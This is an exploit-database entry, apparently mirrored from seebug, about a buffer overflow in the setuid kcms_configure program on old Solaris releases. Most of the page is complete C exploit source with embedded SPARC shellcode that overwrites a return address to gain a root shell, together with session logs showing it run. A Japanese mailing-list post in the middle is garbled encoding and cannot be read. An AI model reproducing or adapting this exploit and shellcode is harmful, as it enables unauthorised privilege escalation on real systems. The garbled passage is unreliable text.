Lucene search
K

Solaris <= 2.5.1 kcms Buffer Overflow Vulnerability (2)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

Solaris kcms Buffer Overflow Vulnerability in versions 2.5, 2.5.1, and 2.6 allows local root compromise via unchecked sprintf() call in kcms_configur

Code

                                                source: http://www.securityfocus.com/bid/452/info
 
 
There is an unchecked sprintf() call in the versions of /usr/openwin/bin/kcms_configure shipped with solaris 2.5, 2.5.1 and 2.6. Unfortunately, kcms_configure is installed setuid root, making it possible for an attacker to overflow the buffer and have arbitrary code executed with superuser privileges. The consequence of this vulnerability being exploited is a local root compromise.

UNYUN@ShadowPenguinSecurity$B$G$9(B

$B&#60;+8J%l%9$G$9!#(B

&#62; $B$J$*!&#34;(BSolaris7 Sparc Edition$B$K$bF1MM$NLdBj$,$&#34;$j$^$9$,!&#34;(B
&#62; Solaris2.6(Sparc)$B$G$O:F8=$7$^$;$s$G$7$?!#(B

Solaris 2.6 (Sparc)$B$G$b:F8=$9$k$h$&$G$9!#(B
Solaris 2.6 (Sparc)$B$O%3%s%=!&#60;%k%m%0%$%s$7$?&#62;uBV$G%A%&#39;%C%/$7$?$N$G$9$,!&#34;%3(B
$B%s%=!&#60;%k%m%0%$%s$@$H$3$NLdBj$O(BSolaris7$B$G$b:F8=$7$J$$$h$&$G$9!#%M%C%H%o!&#60;(B
$B%/7PM3$G$N$_:F8=$9$k$h$&$G!&#34;B&#62;$N%^%7%s$+$i$N(Btelnet$B$K$F(BSolaris2.6 (Sparc)
$B$G$b:F8=$9$k$3$H$,3NG&#39;$5$l$^$7$?!#$*$=$i$/!&#34;(Bintel$BHG(BSolaris2.6$B$bF1MM$@$H;W(B
$B$o$l$^$9!#(B

case 1: exploit$B2DG=(B

hoge : $B%3%s%=!&#60;%k%m%0%$%s(B

hoge# xhost +vul
hoge# telnet vul
Login:
Password:
vul% setenv DISPLAY hoge:0.0
vul% gcc ex_kcms_configuresp.c
vul% ./a.out
#

case 2: exploit$BIT2DG=(B

hoge : $B%3%s%=!&#60;%k%m%0%$%s(B

hoge% gcc ex_kcms_configuresp.c
hoge% ./a.out
The specified profile could not be opened
getlasterrorhoge%
hoge%

Sparc$B$N&#62;l9g!&#34;%*%U%;%C%H(B2092-2093,2112-2115$B$r(Bfake$B$9$k$3$H$K$h$j!&#34;%*%U%;%C(B
$B%H(B2116-2119$B$N(BRET$B$,M-8z$H$J$k$h$&$G!&#34;(Bintel$BHGF1MM$K%m!&#60;%+%k%f!&#60;%6!&#60;$,(Broot$B8&#34;(B
$B8B$rC%&#60;h$G$-$k$3$H$,3NG&#39;$5$l$^$7$?!#$J$*!&#34;%3!&#60;%I@)8B$O(BIntel$BHG$h$j2?8N$+4E(B
$B$/$J$C$F$$$k$h$&$G$9!&!&!&(B

---- ex_kcms_configuresp.c
/*=============================================================================
   kcms_configure Exploit for Solaris2.6/7 Sparc Edition
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN ([email protected])
  =============================================================================
*/

#define ENV         &#34;NETPATH=&#34;
#define MAXBUF      3000
#define RETADR      2116
#define RETOFS      0x1300
#define EXPADR      1200
#define FAKEADR1    2092
#define FAKEADR2    2112
#define NOP         0xa61cc013

char exploit_code[] =
&#34;\x82\x10\x20\x17\x91\xd0\x20\x08&#34;
&#34;\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13&#34;
&#34;\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e&#34;
&#34;\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a&#34;
&#34;\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc&#34;
&#34;\x82\x10\x20\x3b\x91\xd4\xff\xff&#34;;

unsigned long get_sp(void)
{
__asm__(&#34;mov %sp,%i0 \n&#34;);
}

main()
{
    char            buf[MAXBUF];
    unsigned int    i,ip,sp;

    putenv(&#34;LANG=&#34;);
    sp=get_sp();
    printf(&#34;ESP =0x%x\n&#34;,sp);

    for (i=0;i&#60;MAXBUF-4;i+=4){
        buf[i+3]=NOP&0xff;
        buf[i+2]=(NOP&#62;&#62;8)&0xff;
        buf[i+1]=(NOP&#62;&#62;16)&0xff;
        buf[i  ]=(NOP&#62;&#62;24)&0xff;
    }

    ip=sp;
    printf(&#34;FAKE=0x%x\n&#34;,sp);
    buf[FAKEADR1+3]=ip&0xff;
    buf[FAKEADR1+2]=(ip&#62;&#62;8)&0xff;
    buf[FAKEADR1+1]=(ip&#62;&#62;16)&0xff;
    buf[FAKEADR1  ]=(ip&#62;&#62;24)&0xff;
    buf[FAKEADR2+3]=ip&0xff;
    buf[FAKEADR2+2]=(ip&#62;&#62;8)&0xff;
    buf[FAKEADR2+1]=(ip&#62;&#62;16)&0xff;
    buf[FAKEADR2  ]=(ip&#62;&#62;24)&0xff;

    ip=sp-RETOFS;
    printf(&#34;EIP =0x%x\n&#34;,sp);
    buf[RETADR+3]=ip&0xff;
    buf[RETADR+2]=(ip&#62;&#62;8)&0xff;
    buf[RETADR+1]=(ip&#62;&#62;16)&0xff;
    buf[RETADR]=(ip&#62;&#62;24)&0xff;

    strncpy(buf+EXPADR,exploit_code,strlen(exploit_code));

    strncpy(buf,ENV,strlen(ENV));
    buf[MAXBUF-1]=0;
    putenv(buf);

    execl(&#34;/usr/openwin/bin/kcms_configure&#34;,&#34;kcms_configure&#34;,&#34;1&#34;,0);
}

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
18